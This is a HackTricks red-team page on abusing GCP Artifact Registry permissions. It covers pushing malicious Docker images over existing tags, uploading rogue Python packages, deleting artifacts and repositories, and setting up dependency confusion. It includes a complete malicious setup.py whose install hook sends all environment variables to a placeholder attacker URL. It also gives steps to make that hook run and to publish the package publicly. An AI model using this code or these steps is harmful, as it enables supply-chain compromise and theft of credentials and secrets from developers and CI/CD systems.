GCP - Artifact Registry Privesc

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Artifact Registry

For more information about Artifact Registry check:

GCP - Artifact Registry Enum

artifactregistry.repositories.uploadArtifacts

With this permission an attacker could upload new versions of the artifacts with malicious code like Docker images:

Upload Docker image to Artifact Registry
# Configure docker to use gcloud to authenticate with Artifact Registry
gcloud auth configure-docker <location>-docker.pkg.dev

# tag the image to upload it
docker tag <local-img-name>:<local-tag> <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>

# Upload it
docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>

Caution

It was checked that it’s possible to upload a new malicious docker image with the same name and tag as the one already present, so the old one will lose the tag and next time that image with that tag is downloaded the malicious one will be downloaded.

Upload a Python library

Start by creating the library to upload (if you can download the latest version from the registry you can avoid this step):

  1. Set up your project structure:

    • Create a new directory for your library, e.g., hello_world_library.
    • Inside this directory, create another directory with your package name, e.g., hello_world.
    • Inside your package directory, create an __init__.py file. This file can be empty or can contain initializations for your package.
    Create project structure
    mkdir hello_world_library
    cd hello_world_library
    mkdir hello_world
    touch hello_world/__init__.py
    
  2. Write your library code:

    • Inside the hello_world directory, create a new Python file for your module, e.g., greet.py.
    • Write your “Hello, World!” function:
    Create library module
    # hello_world/greet.py
    def say_hello():
        return "Hello, World!"
    
  3. Create a setup.py file:

    • In the root of your hello_world_library directory, create a setup.py file.
    • This file contains metadata about your library and tells Python how to install it.
    Create setup.py file
    # setup.py
    from setuptools import setup, find_packages
    
    setup(
        name='hello_world',
        version='0.1',
        packages=find_packages(),
        install_requires=[
            # Any dependencies your library needs
        ],
    )
    

Now, lets upload the library:

  1. Build your package:

    • From the root of your hello_world_library directory, run:
    Build Python package
    python3 setup.py sdist bdist_wheel
    
  2. Configure authentication for twine (used to upload your package):

    • Ensure you have twine installed (pip install twine).
    • Use gcloud to configure credentials:
Upload package with twine
twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://<location>-python.pkg.dev/<project-id>/<repo-name>/ dist/*
  1. Clean the build
Clean build artifacts
rm -rf dist build hello_world.egg-info

Caution

It’s not possible to upload a python library with the same version as the one already present, but it’s possible to upload greater versions (or add an extra .0 at the end of the version if that works -not in python though-), or to delete the last version an upload a new one with (needed artifactregistry.versions.delete):

Delete artifact version
gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>

artifactregistry.repositories.downloadArtifacts

With this permission you can download artifacts and search for sensitive information and vulnerabilities.

Download a Docker image:

Download Docker image from Artifact Registry
# Configure docker to use gcloud to authenticate with Artifact Registry
gcloud auth configure-docker <location>-docker.pkg.dev

# Dowload image
docker pull <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>

Download a python library:

Download Python library from Artifact Registry
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
  • What happens if a remote and a standard registries are mixed in a virtual one and a package exists in both? Check this page:

GCP - Artifact Registry Persistence

artifactregistry.tags.delete, artifactregistry.versions.delete, artifactregistry.packages.delete, (artifactregistry.repositories.get, artifactregistry.tags.get, artifactregistry.tags.list)

Delete artifacts from the registry, like docker images:

Delete Docker image from Artifact Registry
# Delete a docker image
gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>

artifactregistry.repositories.delete

Detele a full repository (even if it has content):

Delete Artifact Registry repository
gcloud artifacts repositories delete <repo-name> --location=<location>

artifactregistry.repositories.setIamPolicy

An attacker with this permission could give himself permissions to perform some of the previously mentioned repository attacks.

Pivoting to other Services through Artifact Registry Read & Write

  • Cloud Functions

When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. I tried to modify the image with a new one, and even delete the current image (and the cache image) and nothing changed, the cloud function continue working. Therefore, maybe it might be possible to abuse a Race Condition attack like with the bucket to change the docker container that will be run but just modifying the stored image isn’t possible to compromise the Cloud Function.

  • App Engine

Even though App Engine creates docker images inside Artifact Registry. It was tested that even if you modify the image inside this service and removes the App Engine instance (so a new one is deployed) the code executed doesn’t change.
It might be possible that performing a Race Condition attack like with the buckets it might be possible to overwrite the executed code, but this wasn’t tested.

artifactregistry.repositories.update

An attacker does not need specific Artifact Registry permissions to exploit this issue—only a vulnerable virtual-repository configuration. This occurs when a virtual repository combines a remote public repository (e.g., PyPI, npm) with an internal one, and the remote source has equal or higher priority. If both contain a package with the same name, the system selects the highest version. The attacker only needs to know the internal package name and be able to publish packages to the corresponding public registry.

With the artifactregistry.repositories.update permission, an attacker could change a virtual repository’s upstream settings to intentionally create this vulnerable setup and use Dependency Confusion as a persistence method by inserting malicious packages that developers or CI/CD systems may install automatically.

The attacker creates a malicious version of the internal package in the public repository with a higher version number. For Python packages, this means preparing a package structure that mimics the legitimate one.

mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"

A setup.py file is then created containing malicious code that would run during installation. This file must specify a version number higher than the one in the private repository.

cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse

def malicious_function():
    data = dict(os.environ)
    encoded_data = urllib.parse.urlencode(data).encode()
    url = 'https://<ip-atacante>/exfil'
    req = urllib.request.Request(url, data=encoded_data)
    urllib.request.urlopen(req)

class AfterInstall(install):
    def run(self):
        install.run(self)
        malicious_function()

setuptools.setup(
    name = "<package-name>",
    version = "0.1.1",
    packages = ["<package-name>"],
    cmdclass={'install': AfterInstall},
)
EOF

Build the package and delete the wheel to ensure the code is executed during installation.

python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl

Upload the malicious package to the public repository (for example, test.pypi.org for Python).

pip install twine
twine upload --repository testpypi dist/*

When a system or service installs the package using the virtual repository, it will download the malicious version from the public repository instead of the legitimate internal one, because the malicious version is higher and the remote repository has equal or higher priority.

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks